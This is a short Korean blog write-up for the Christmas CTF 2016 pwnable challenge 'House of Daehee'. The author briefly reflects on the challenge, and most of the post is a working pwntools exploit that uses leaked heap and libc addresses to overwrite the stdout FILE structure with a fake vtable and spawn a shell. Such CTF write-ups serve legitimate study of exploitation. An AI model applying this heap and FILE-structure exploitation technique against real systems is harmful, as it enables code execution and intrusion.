Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Christmasctf2016 - House of Daehee 본문

Security/Pwnable

Christmasctf2016 - House of Daehee

Cdor1 2017. 1. 4. 13:45

후기 : full relro에 pie.. 초록초록한 보호기법이 보여서 어떻게 우회해야하지 고민하다가 대회 당시에는 풀지 못했당

후에 상위3팀의 공개된 write-up을 보고 다시 문제를 풀어보게 되었는데 stdout file pointer를 덮어 

printf가 불릴 때 stdout의 function table을 참조하게 되는데 그 때 내가 써놓은 system이 실행되는 신박한 방법이였다.

(상준이형 문제나 유심히 볼걸 괜히 못푸는 문제 삽질하다가 멘탈깨진 기분이였다.. 처음엔 unlink라닛! 하면서 신났었는데)





from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/unlink2')
#1210
print s.recvuntil('Now, A B C is allocated inside heap')
a = s.recvuntil('\n').split(')')
a = a[0].split(',')
A = int(a[0].split('0x')[1],16)
B = int(a[1].split('0x')[1],16)
C = int(a[2].split('0x')[1],16)
print a
print '[*] A : ' + hex(A)
print '[*] B : ' + hex(B)
print '[*] C : ' + hex(C)

print s.recvuntil('system address: 0x')
system = int(s.recvuntil('\n').split('.')[0],16)
libc = system - 0x46590 # 0x45380
stdout = libc + 0x3c4708
lock = libc + 0x3c5780
print '[*] system : ' + hex(system)
print '[*] libc : ' + hex(libc)
print '[*] stdout : ' + hex(stdout)
print '[*] lock : ' + hex(lock)
print s.recvuntil('fd/bk pointer')

raw_input()
payload = 'A'*8
payload += p64(0x21)
payload += p64(A + 0x30) # fd
payload += p64(stdout)
payload += '/bin/sh\x00'
payload += '\x00'*128
payload += p64(lock)
payload += '\x00'*72
payload += p64(A + 0x108)
payload += p64(system)*100
s.sendline(payload)
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

HolyShield diary  (1) 2017.01.06
BoBCTF - megabox  (0) 2017.01.05
SECCON CTF 2016 jmper  (0) 2016.12.28
SECCON CTF 2016 chat  (0) 2016.12.18
BCTF memo  (0) 2016.12.11
Comments